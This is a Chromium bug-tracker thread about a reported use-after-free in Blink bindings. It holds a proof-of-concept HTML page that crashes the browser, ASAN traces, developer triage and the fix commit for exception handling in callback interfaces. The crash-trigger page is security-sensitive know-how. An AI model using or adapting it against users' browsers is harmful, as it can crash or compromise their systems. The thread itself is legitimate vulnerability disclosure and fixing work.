Security: Blink Bindings - Use After Free in blink::ScriptState::From
Reported by
loobeny...@gmail.com,
Sep 21 2017
|
||||||||||||||||||||||||
Issue description
VULNERABILITY DETAILS
Steps to reproduce:
1.Open PoC UAF_ScriptStateFrom.html in Chrome browser ASAN build.
2.ASAN reports a Use After Free in blink::ScriptState::From. (If it hits a NULL pointer deference, just refresh it)
=================================================================
==9112==ERROR: AddressSanitizer: heap-use-after-free on address 0x6d0df041 at pc 0x1665c027 bp 0x00cfad7c sp 0x00cfad70
READ of size 4 at 0x6d0df041 thread T0
#0 0x1665c026 in blink::ScriptState::From C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\platform\bindings\ScriptState.h:129
VERSION
Chrome Version: Chromium 63.0.3218.0 (Developer Build) (32-bit)
Operating System: Windows 10
REPRODUCTION CASE (UAF_ScriptStateFrom.html)
<html><audio id="myAudio"></audio><script>
setTimeout(function(){location.reload()},152);
var offlineCtx = new OfflineAudioContext(27,1336353,23703);
var context = new AudioContext();
var streamDestNode = context.createMediaStreamDestination();
var mediaRecorder= new MediaRecorder(streamDestNode.stream);
offlineCtx.oncomplete = function() {mediaRecorder.stop();pc0.close();}
mediaRecorder.start();
var rtcConfig = { "iceServers": [{ "urls": "stun:stun2.l.google.com:19302" }, ] };
var options = {optional:[{DtlsSrtpKeyAgreement:true}, {RtpDataChannels: true}]};
var pc0 = new RTCPeerConnection(rtcConfig,options);
pc0.createOffer(function(offer) {offlineCtx.startRendering().then(function() {});}, function(){});
var txDataChan = pc0.createDataChannel("DataChanName1");
setInterval(function(){pc0.createOffer(function(offer) {}, function(e) {mediaRecorder.resume();});}, 30);
var a = document.getElementById("myAudio");
</script></html>
FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: tab
Crash State:
=================================================================
==9112==ERROR: AddressSanitizer: heap-use-after-free on address 0x6d0df041 at pc 0x1665c027 bp 0x00cfad7c sp 0x00cfad70
READ of size 4 at 0x6d0df041 thread T0
#0 0x1665c026 in blink::ScriptState::From C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\platform\bindings\ScriptState.h:129
#1 0x16765e18 in blink::V8PerContextData::From C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\platform\bindings\V8PerContextData.cpp:73
#2 0x166ca30a in blink::V8DOMWrapper::CreateWrapper C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\platform\bindings\V8DOMWrapper.cpp:53
#3 0x1665ac32 in blink::ScriptWrappable::Wrap C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\platform\bindings\ScriptWrappable.cpp:29
#4 0x1a7e74ed in blink::V8Document::getElementByIdMethodCallbackForMainWorld C:\b\c\b\win_asan_release\src\out\release\gen\blink\bindings\core\v8\V8Document.cpp:6580
#5 0x10d1b9cd in v8::internal::FunctionCallbackArguments::Call C:\b\c\b\win_asan_release\src\v8\src\api-arguments.cc:25
#6 0x10f66e07 in v8::internal::`anonymous namespace'::HandleApiCallHelper<0> C:\b\c\b\win_asan_release\src\v8\src\builtins\builtins-api.cc:112
#7 0x10f63c31 in v8::internal::Builtin_Impl_HandleApiCall C:\b\c\b\win_asan_release\src\v8\src\builtins\builtins-api.cc:142
#8 0x10f630c1 in v8::internal::Builtin_HandleApiCall C:\b\c\b\win_asan_release\src\v8\src\builtins\builtins-api.cc:130
0x6d0df041 is located 2283585 bytes inside of 5345412-byte region [0x6ceb1800,0x6d3ca884)
freed by thread T0 here:
#0 0x15b75f8 in free e:\b\build\slave\win_upload_clang\build\src\third_party\llvm\projects\compiler-rt\lib\asan\asan_malloc_win.cc:44
#1 0x1995a50e in WTF::ArrayBufferContents::DataHandle::~DataHandle C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\platform\wtf\typed_arrays\ArrayBufferContents.h:99
#2 0x1995b005 in WTF::ThreadSafeRefCounted<WTF::ArrayBufferContents::DataHolder>::Deref C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\platform\wtf\ThreadSafeRefCounted.h:63
#3 0x16b83f78 in WTF::RefCounted<WTF::ArrayBuffer>::Deref C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\platform\wtf\RefCounted.h:149
#4 0x1995bb7b in WTF::ArrayBufferView::~ArrayBufferView C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\platform\wtf\typed_arrays\ArrayBufferView.cpp:48
#5 0x179d6714 in WTF::Uint16Array::~Uint16Array C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\platform\wtf\typed_arrays\Int8Array.h:36
#6 0x179d5b16 in blink::DOMArrayBufferView::~DOMArrayBufferView C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\core\typed_arrays\DOMArrayBufferView.h:35
#7 0x179d5a9e in blink::DOMTypedArray<WTF::Float32Array,v8::Float32Array>::~DOMTypedArray C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\core\typed_arrays\DOMTypedArray.h:89
#8 0x1ade8a61 in blink::FinalizerTrait<blink::Iterator>::Finalize C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\platform\heap\GCInfo.h:61
#9 0x12bec7fe in blink::HeapObjectHeader::Finalize C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\platform\heap\HeapPage.cpp:100
#10 0x12bf4d0b in blink::NormalPage::Sweep C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\platform\heap\HeapPage.cpp:1343
#11 0x12bee643 in blink::BaseArena::SweepUnsweptPage C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\platform\heap\HeapPage.cpp:282
#12 0x12beea7e in blink::BaseArena::LazySweepWithDeadline C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\platform\heap\HeapPage.cpp:311
#13 0x12c01bc0 in blink::ThreadState::PerformIdleLazySweep C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\platform\heap\ThreadState.cpp:642
#14 0x12c0abc2 in base::internal::Invoker<base::internal::BindState<void (blink::ThreadState::*)(double) __attribute__((thiscall)),WTF::UnretainedWrapper<blink::ThreadState,WTF::FunctionThreadAffinity::kSameThreadAffinity> >,void (double)>::Run C:\b\c\b\win_asan_release\src\base\bind_internal.h:331
#15 0x165ff365 in blink::`anonymous namespace'::IdleTaskRunner::Run C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\platform\WebScheduler.cpp:26
#16 0x12cf02ac in blink::scheduler::WebSchedulerImpl::RunIdleTask C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\platform\scheduler\child\web_scheduler_impl.cc:45
#17 0x12cf0aeb in base::internal::FunctorTraits<void (*)(std::unique_ptr<blink::WebThread::IdleTask,std::default_delete<blink::WebThread::IdleTask> >, base::TimeTicks),void>::Invoke<std::unique_ptr<blink::WebThread::IdleTask,std::default_delete<blink::WebThread::IdleTask> >,base::TimeTicks> C:\b\c\b\win_asan_release\src\base\bind_internal.h:149
#18 0x12cf092f in base::internal::Invoker<base::internal::BindState<void (*)(std::unique_ptr<blink::WebThread::IdleTask,std::default_delete<blink::WebThread::IdleTask> >, base::TimeTicks),base::internal::PassedWrapper<std::unique_ptr<blink::WebThread::IdleTask,std::default_delete<blink::WebThread::IdleTask> > > >,void (base::TimeTicks)>::Run C:\b\c\b\win_asan_release\src\base\bind_internal.h:324
#19 0x12ceb62d in blink::scheduler::SingleThreadIdleTaskRunner::RunTask C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\platform\scheduler\child\single_thread_idle_task_runner.cc:79
#20 0x12cee79b in base::internal::FunctorTraits<void (blink::scheduler::SingleThreadIdleTaskRunner::*)(base::RepeatingCallback<void (base::TimeTicks)>) __attribute__((thiscall)),void>::Invoke<const base::WeakPtr<blink::scheduler::SingleThreadIdleTaskRunner> &,const base::RepeatingCallback<void (base::TimeTicks)> &> C:\b\c\b\win_asan_release\src\base\bind_internal.h:194
#21 0x12cee5d0 in base::internal::Invoker<base::internal::BindState<void (blink::scheduler::SingleThreadIdleTaskRunner::*)(base::RepeatingCallback<void (base::TimeTicks)>) __attribute__((thiscall)),base::WeakPtr<blink::scheduler::SingleThreadIdleTaskRunner>,base::RepeatingCallback<void (base::TimeTicks)> >,void ()>::Run C:\b\c\b\win_asan_release\src\base\bind_internal.h:324
#22 0x133d692c in base::debug::TaskAnnotator::RunTask C:\b\c\b\win_asan_release\src\base\debug\task_annotator.cc:55
#23 0x12cc6d99 in blink::scheduler::TaskQueueManager::ProcessTaskFromWorkQueue C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\platform\scheduler\base\task_queue_manager.cc:515
#24 0x12cc28f9 in blink::scheduler::TaskQueueManager::DoWork C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\platform\scheduler\base\task_queue_manager.cc:312
#25 0x182a3acc in base::internal::Invoker<base::internal::BindState<void (content::WebMediaPlayerMS::*)(bool) __attribute__((thiscall)),base::WeakPtr<content::WebMediaPlayerMS>,bool>,void ()>::RunOnce C:\b\c\b\win_asan_release\src\base\bind_internal.h:319
#26 0x133d692c in base::debug::TaskAnnotator::RunTask C:\b\c\b\win_asan_release\src\base\debug\task_annotator.cc:55
#27 0x1345b742 in base::internal::IncomingTaskQueue::RunTask C:\b\c\b\win_asan_release\src\base\message_loop\incoming_task_queue.cc:147
#28 0x13305075 in base::MessageLoop::RunTask C:\b\c\b\win_asan_release\src\base\message_loop\message_loop.cc:406
previously allocated by thread T0 here:
#0 0x15b76dc in malloc e:\b\build\slave\win_upload_clang\build\src\third_party\llvm\projects\compiler-rt\lib\asan\asan_malloc_win.cc:60
#1 0x199598cf in WTF::ArrayBufferContents::DataHolder::AllocateNew C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\platform\wtf\typed_arrays\ArrayBufferContents.cpp:203
#2 0x19959792 in WTF::ArrayBufferContents::ArrayBufferContents C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\platform\wtf\typed_arrays\ArrayBufferContents.cpp:72
#3 0x16f94687 in WTF::ArrayBuffer::CreateOrNull C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\platform\wtf\typed_arrays\ArrayBuffer.h:179
#4 0x1d05fb4b in WTF::TypedArrayBase<float>::CreateUninitializedOrNull<WTF::Float32Array> C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\platform\wtf\typed_arrays\TypedArrayBase.h:104
#5 0x1d05cfa0 in blink::AudioBuffer::CreateFloat32ArrayOrNull C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\modules\webaudio\AudioBuffer.cpp:168
#6 0x1d059949 in blink::AudioBuffer::AudioBuffer C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\modules\webaudio\AudioBuffer.cpp:190
#7 0x1d05c771 in blink::AudioBuffer::CreateUninitialized C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\modules\webaudio\AudioBuffer.cpp:121
#8 0x1d087204 in blink::OfflineAudioContext::startOfflineRendering C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\modules\webaudio\OfflineAudioContext.cpp:202
#9 0x1cae01e9 in blink::V8OfflineAudioContext::startRenderingMethodCallback C:\b\c\b\win_asan_release\src\out\release\gen\blink\bindings\modules\v8\V8OfflineAudioContext.cpp:259
#10 0x10d1b9cd in v8::internal::FunctionCallbackArguments::Call C:\b\c\b\win_asan_release\src\v8\src\api-arguments.cc:25
#11 0x10f66e07 in v8::internal::`anonymous namespace'::HandleApiCallHelper<0> C:\b\c\b\win_asan_release\src\v8\src\builtins\builtins-api.cc:112
#12 0x10f63c31 in v8::internal::Builtin_Impl_HandleApiCall C:\b\c\b\win_asan_release\src\v8\src\builtins\builtins-api.cc:142
#13 0x10f630c1 in v8::internal::Builtin_HandleApiCall C:\b\c\b\win_asan_release\src\v8\src\builtins\builtins-api.cc:130
SUMMARY: AddressSanitizer: heap-use-after-free C:\b\c\b\win_asan_release\src\third_party\WebKit\Source\platform\bindings\ScriptState.h:129 in blink::ScriptState::From
Shadow bytes around the buggy address:
0x3da1bdb0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x3da1bdc0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x3da1bdd0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x3da1bde0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x3da1bdf0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x3da1be00: fd fd fd fd fd fd fd fd[fd]fd fd fd fd fd fd fd
0x3da1be10: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x3da1be20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x3da1be30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x3da1be40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x3da1be50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==9112==ABORTING
,
Sep 21 2017
+ some people who might know about that code. rtoy: the use of audio in the repro case might be incidental, but FYI.
,
Sep 21 2017
Detailed report: https://clusterfuzz.com/testcase?key=5589220029890560 Job Type: linux_asan_chrome_mp Crash Type: Abrt Crash Address: 0x03e900000001 Crash State: blink::ReportFatalErrorInMainThread v8::V8::ToLocalEmpty blink::V8ContextSnapshot::CreateContextFromSnapshot Sanitizer: address (ASAN) Reproducer Testcase: https://clusterfuzz.com/download?testcase_id=5589220029890560 Additional requirements: Requires HTTP See https://github.com/google/clusterfuzz-tools for more information. Note: This crash might not be reproducible with the provided testcase. That said, for the past 14 days we've been seeing this crash frequently. If you are unable to reproduce this, please try a speculative fix based on the crash stacktrace in the report. The fix can be verified by looking at the crash statistics in the report, a day after the fix is deployed. We will auto-close the bug if the crash is not seen for 14 days.
,
Sep 22 2017
Adding V8 memory sheriffs and Kentaro for Oilpan.
,
Sep 22 2017
yukishiino: Would you mind taking a look?
,
Sep 22 2017
,
Oct 5 2017
yukishiino: Uh oh! This issue still open and hasn't been updated in the last 14 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers? If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one? If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started. Thanks for your time! To disable nags, add the Disable-Nags label. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Oct 11 2017
I'm sorry for the late response. peria@, could you take a look? It seems hitting ToLocalChecked() when creating a new v8::Context from the snapshot.
,
Oct 13 2017
I'm not 100% sure, but this could be fixed at some point. Kicked clusterfuzz tasks to confirm it.
,
Oct 13 2017
Ignore #9. The issue has reproduced on ToT.
,
Oct 13 2017
Re #10, correction: #3 reproduced on GNU/Linux but it's different from the original UAF report. UAF doesn't reproduce on my GNU/Linux (Note that the original report is on Windows).
,
Oct 19 2017
peria: Uh oh! This issue still open and hasn't been updated in the last 28 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers? If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one? If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started. Thanks for your time! To disable nags, add the Disable-Nags label. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Oct 25 2017
Using the HTML file in #3, https://crrev.com/496511 seems to be a trigger. Crash reproduces after the commit, even on release build. I'll investigate the details.
,
Oct 25 2017
Hmm, the CL just adds a line EventTargetWithInlineData::TraceWrappers(visitor); but it causes the crash. A direct reason of the crash is a failure in creating a V8 context or a Window wrapper. The HTML tries to reload so frequently, so some race condition can be a reason. jbroman@, could you take a look this?
,
Oct 31 2017
Hmm. The ASAN report shows that we're accessing what the sanitizer believes to be a freed audio buffer. Either the ScriptState was legally allocated in the address space where the audio buffer previously was (but the sanitizer is unaware of this for some reason), or we were able to allocate an audio buffer and get a ScriptState pointer into it (which would be, ahem, bad).
,
Nov 2 2017
The context creation one seems to be failing when trying to load the extensions::SafeBuiltins extension, but the ASAN failure only occurs with --verify-heap.
,
Nov 2 2017
The failure while loading extensions::SafeBuiltins is this:
0x7fd7e31cd809: [JS_API_OBJECT_TYPE]
- map = 0x7fd7e4c17de1 [FastProperties]
- prototype = 0x7fd7e31cb351
- elements = 0x7fd7e8b82251 <FixedArray[0]> [HOLEY_SMI_ELEMENTS]
- embedder fields: 2
- properties = 0x7fd7e31cdc89 <PropertyArray[3]> {
#stack: 0x7fd7e8bad401 <AccessorInfo> (const accessor descriptor)
0x7fd7e8bad479 <Symbol: DOMException#Error>: 0x7fd7e31cd859 <Error map = 0x7fd7e4c20341> (data field 0) properties[0]
}
- embedder fields = {
0x5633c64363e0
0x7eb0b273bb68
}
c"InvalidStateError: Failed to execute 'resume' on 'MediaRecorder': The MediaRecorder's state is 'inactive'."
So it looks to me like this exception was left on the isolate from some earlier failure?
,
Nov 2 2017
AsyncCallErrorCallback in RTCPeerConnection.cpp looks quite suspicious to me. It posts a microtask to invoke the error callback, but doesn't seem to deal with the thrown exception in any way. When V8 internally enqueues a JSFunction as a microtask, it does so via Execution in Isolate::RunMicrotasksInternal, which seems to catch the exception. If this is so, though, it seems like invoking handleEvent on a callback interface is a trap that could lead to exceptions being incorrectly handled in a number of cases. :/ Digging further...
,
Nov 2 2017
I think that handleEvent is killing an exception with
v8::TryCatch tryCatch;
tryCatch.SetVerbose(true);
// without tryCatch.Rethrow();
so no exception should be being thrown. I'm not quite sure though, and it could be imperfect though.
,
Nov 2 2017
I mean, that's what should be happening, but I don't see that anywhere in the call path. Where are you seeing the verbose TryCatch? [microtask callback] V8RTCPeerConnectionErrorCallback::handleEvent V8ScriptRunner::CallFunction v8::Function::Call None of these seems to contain a TryCatch. It's not immediately clear to me whether the callback interfaces should be generating the TryCatch, or if the caller (RTCPeerConnection) should be responsible for that.
,
Nov 2 2017
Just confirmed locally that adding such a TryCatch fixes the crash in #3.
,
Nov 2 2017
My reading of https://heycam.github.io/webidl/#call-a-user-objects-operation suggests that Blink should be prepared for an exception to be thrown from a callback interface (because there's nothing that says such things are caught at the WebIDL/ES level).
,
Nov 2 2017
It's also interesting to note that we *do* have such a TryCatch inside the generated code for IDL callbacks, but not for IDL callback interfaces. This suggests that might be a reasonable place for it. I'm slightly wary about some existing use relying on exceptions being thrown inside such a callback interface, but since we don't really provide a way for callers to handle it, I'm hoping not.
,
Nov 2 2017
Slight correction: if the callback interface method returns a boolean, then we *do* catch it.
,
Nov 8 2017
Friendly ping from the security sheriff; any updates on this bug?
,
Nov 8 2017
The following revision refers to this bug: https://chromium.googlesource.com/chromium/src.git/+/d492b2554f1154552ff5893b84afd7164d8bccd7 commit d492b2554f1154552ff5893b84afd7164d8bccd7 Author: Jeremy Roman <jbroman@chromium.org> Date: Wed Nov 08 12:13:07 2017 Catch exceptions thrown by author script inside callback interfaces. Failing to do so can cause them to be spuriously thrown later on in the V8 runtime, leading to confusing spooky-action-at-a-distance problems. This fixes the issue in comment 3 of the linked bug. Bug: 767359 Change-Id: I79982316f9631d10f9b76f452103b78bd1e7ef67 Reviewed-on: https://chromium-review.googlesource.com/751294 Commit-Queue: Yuki Shiino <yukishiino@chromium.org> Reviewed-by: Kentaro Hara <haraken@chromium.org> Reviewed-by: Yuki Shiino <yukishiino@chromium.org> Cr-Commit-Position: refs/heads/master@{#514805} [add] https://crrev.com/d492b2554f1154552ff5893b84afd7164d8bccd7/third_party/WebKit/LayoutTests/fast/peerconnection/RTCPeerConnection-error-callback-exception.html [modify] https://crrev.com/d492b2554f1154552ff5893b84afd7164d8bccd7/third_party/WebKit/Source/bindings/templates/callback_interface.cpp.tmpl [modify] https://crrev.com/d492b2554f1154552ff5893b84afd7164d8bccd7/third_party/WebKit/Source/bindings/tests/results/core/V8TestCallbackInterface.cpp
,
Nov 9 2017
Thanks jbroman! Do you think the CL in #26 solves the problem, or just a symptom? If it's a true fix, please mark this bug as Fixed so the rest of our process can proceed (I'm hoping we have a chance to make the 60-day guarantee for High severity bugs). Thank you!
,
Nov 9 2017
jbroman@ is ooo this week. peria@, could you confirm if the issue is fixed or not if you still have a repro environment. I think that the fix is a true fix.
,
Nov 9 2017
+cc: peria@ (somehow dropped from cc: list) peria@, could you confirm if the issue is fixed or not if you still have a repro environment?
,
Nov 9 2017
I couldn't reproduce the UAF, but jbroman@'s change in #26 seems to fix the crash with the HTML file.
,
Nov 9 2017
Detailed report: https://clusterfuzz.com/testcase?key=5589220029890560 Job Type: linux_asan_chrome_mp Crash Type: Abrt Crash Address: 0x03e900000001 Crash State: blink::ReportFatalErrorInMainThread v8::V8::ToLocalEmpty blink::V8ContextSnapshot::CreateContextFromSnapshot Sanitizer: address (ASAN) Reproducer Testcase: https://clusterfuzz.com/download?testcase_id=5589220029890560 Additional requirements: Requires HTTP See https://github.com/google/clusterfuzz-tools for more information.
,
Nov 9 2017
,
Nov 10 2017
Detailed report: https://clusterfuzz.com/testcase?key=5589220029890560 Job Type: linux_asan_chrome_mp Crash Type: Abrt Crash Address: 0x03e900000001 Crash State: blink::ReportFatalErrorInMainThread v8::V8::ToLocalEmpty blink::V8ContextSnapshot::CreateContextFromSnapshot Sanitizer: address (ASAN) Reproducer Testcase: https://clusterfuzz.com/download?testcase_id=5589220029890560 Additional requirements: Requires HTTP See https://github.com/google/clusterfuzz-tools for more information.
,
Nov 11 2017
Detailed report: https://clusterfuzz.com/testcase?key=5589220029890560 Job Type: linux_asan_chrome_mp Crash Type: Abrt Crash Address: 0x03e900000001 Crash State: blink::ReportFatalErrorInMainThread v8::V8::ToLocalEmpty blink::V8ContextSnapshot::CreateContextFromSnapshot Sanitizer: address (ASAN) Reproducer Testcase: https://clusterfuzz.com/download?testcase_id=5589220029890560 Additional requirements: Requires HTTP See https://github.com/google/clusterfuzz-tools for more information.
,
Nov 11 2017
,
Nov 11 2017
This bug requires manual review: M63 has already been promoted to the beta branch, so this requires manual review Please contact the milestone owner if you have questions. Owners: cmasso@(Android), cmasso@(iOS), gkihumba@(ChromeOS), govind@(Desktop) For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Nov 12 2017
Detailed report: https://clusterfuzz.com/testcase?key=5589220029890560 Job Type: linux_asan_chrome_mp Crash Type: Abrt Crash Address: 0x03e900000001 Crash State: blink::ReportFatalErrorInMainThread v8::V8::ToLocalEmpty blink::V8ContextSnapshot::CreateContextFromSnapshot Sanitizer: address (ASAN) Reproducer Testcase: https://clusterfuzz.com/download?testcase_id=5589220029890560 Additional requirements: Requires HTTP See https://github.com/google/clusterfuzz-tools for more information.
,
Nov 13 2017
+awhalley@ (Security TPM)
,
Nov 13 2017
,
Nov 14 2017
,
Nov 14 2017
Detailed report: https://clusterfuzz.com/testcase?key=5589220029890560 Job Type: linux_asan_chrome_mp Crash Type: Abrt Crash Address: 0x03e900000001 Crash State: blink::ReportFatalErrorInMainThread v8::V8::ToLocalEmpty blink::V8ContextSnapshot::CreateContextFromSnapshot Sanitizer: address (ASAN) Reproducer Testcase: https://clusterfuzz.com/download?testcase_id=5589220029890560 Additional requirements: Requires HTTP See https://github.com/google/clusterfuzz-tools for more information.
,
Nov 14 2017
Merged to M63 as refs/branch-heads/3239@{#485}:
https://chromium.googlesource.com/chromium/src/+/33aeed18843e4fa3b1697cbdaba1573d08885908
,
Nov 14 2017
The following revision refers to this bug: https://chromium.googlesource.com/chromium/src.git/+/33aeed18843e4fa3b1697cbdaba1573d08885908 commit 33aeed18843e4fa3b1697cbdaba1573d08885908 Author: Jeremy Roman <jbroman@chromium.org> Date: Tue Nov 14 19:06:29 2017 Catch exceptions thrown by author script inside callback interfaces. Failing to do so can cause them to be spuriously thrown later on in the V8 runtime, leading to confusing spooky-action-at-a-distance problems. This fixes the issue in comment 3 of the linked bug. Bug: 767359 Change-Id: I79982316f9631d10f9b76f452103b78bd1e7ef67 Reviewed-on: https://chromium-review.googlesource.com/751294 Commit-Queue: Yuki Shiino <yukishiino@chromium.org> Reviewed-by: Kentaro Hara <haraken@chromium.org> Reviewed-by: Yuki Shiino <yukishiino@chromium.org> Cr-Commit-Position: refs/heads/master@{#514805} (cherry picked from commit d492b2554f1154552ff5893b84afd7164d8bccd7) Change-Id: I65fca0892837e9918d70050afb778552ae6e2949 Reviewed-on: https://chromium-review.googlesource.com/769387 Reviewed-by: Jeremy Roman <jbroman@chromium.org> Cr-Commit-Position: refs/branch-heads/3239@{#485} Cr-Branched-From: adb61db19020ed8ecee5e91b1a0ea4c924ae2988-refs/heads/master@{#508578} [add] https://crrev.com/33aeed18843e4fa3b1697cbdaba1573d08885908/third_party/WebKit/LayoutTests/fast/peerconnection/RTCPeerConnection-error-callback-exception.html [modify] https://crrev.com/33aeed18843e4fa3b1697cbdaba1573d08885908/third_party/WebKit/Source/bindings/templates/callback_interface.cpp.tmpl [modify] https://crrev.com/33aeed18843e4fa3b1697cbdaba1573d08885908/third_party/WebKit/Source/bindings/tests/results/core/V8TestCallbackInterface.cpp
,
Nov 15 2017
The CL should have fixed the issue ClusterFuzz was showing with incorrect exception handling (though the result in that case seems to have been a clean crash), but we haven't been able to reproduce the Windows ASAN UAF, either on Win ASan Release builds from about that time or more recent ones, so we haven't been able to take action on that.
,
Nov 15 2017
ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=5263441970593792.
,
Nov 16 2017
ClusterFuzz testcase 5589220029890560 is still reproducing on tip-of-tree build (trunk). Please re-test your fix against this testcase and if the fix was incorrect or incomplete, please re-open the bug. Otherwise, ignore this notification and add ClusterFuzz-Wrong label.
,
Nov 16 2017
Detailed report: https://clusterfuzz.com/testcase?key=5263441970593792 Job Type: linux_asan_chrome_mp Crash Type: Abrt Crash Address: 0x03e900000001 Crash State: blink::ReportFatalErrorInMainThread v8::V8::ToLocalEmpty blink::V8ContextSnapshot::CreateContextFromSnapshot Sanitizer: address (ASAN) Regressed: https://clusterfuzz.com/revisions?job=linux_asan_chrome_mp&range=500820:500829 Reproducer Testcase: https://clusterfuzz.com/download?testcase_id=5263441970593792 See https://github.com/google/clusterfuzz-tools for more information.
,
Nov 18 2017
ClusterFuzz has detected this issue as fixed in range 514498:517698. Detailed report: https://clusterfuzz.com/testcase?key=5263441970593792 Job Type: linux_asan_chrome_mp Crash Type: Abrt Crash Address: 0x03e900000001 Crash State: blink::ReportFatalErrorInMainThread v8::V8::ToLocalEmpty blink::V8ContextSnapshot::CreateContextFromSnapshot Sanitizer: address (ASAN) Regressed: https://clusterfuzz.com/revisions?job=linux_asan_chrome_mp&range=500820:500829 Fixed: https://clusterfuzz.com/revisions?job=linux_asan_chrome_mp&range=514498:517698 Reproducer Testcase: https://clusterfuzz.com/download?testcase_id=5263441970593792 See https://github.com/google/clusterfuzz-tools for more information. If you suspect that the result above is incorrect, try re-doing that job on the test case report page.
,
Nov 18 2017
ClusterFuzz has detected this issue as fixed in range 514498:517698. Detailed report: https://clusterfuzz.com/testcase?key=5589220029890560 Job Type: linux_asan_chrome_mp Crash Type: Abrt Crash Address: 0x03e900000001 Crash State: blink::ReportFatalErrorInMainThread v8::V8::ToLocalEmpty blink::V8ContextSnapshot::CreateContextFromSnapshot Sanitizer: address (ASAN) Fixed: https://clusterfuzz.com/revisions?job=linux_asan_chrome_mp&range=514498:517698 Reproducer Testcase: https://clusterfuzz.com/download?testcase_id=5589220029890560 Additional requirements: Requires HTTP See https://github.com/google/clusterfuzz-tools for more information. If you suspect that the result above is incorrect, try re-doing that job on the test case report page.
,
Nov 18 2017
ClusterFuzz testcase 5589220029890560 is verified as fixed, so closing issue as verified. If this is incorrect, please add ClusterFuzz-Wrong label and re-open the issue.
,
Dec 1 2017
Hi loobenyang@ - the VRP panel took a look at this and declined to reward, as we've not been able to reproduce the UAF security issue. If you've able to provide steps that allow us to reproduce and fix the issue, we're happy to reconsider it for reward. Cheers!
,
Feb 15 2018
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Mar 27 2018
|
||||||||||||||||||||||||
►
Sign in to add a comment |
||||||||||||||||||||||||
Comment 1 by ClusterFuzz
, Sep 21 2017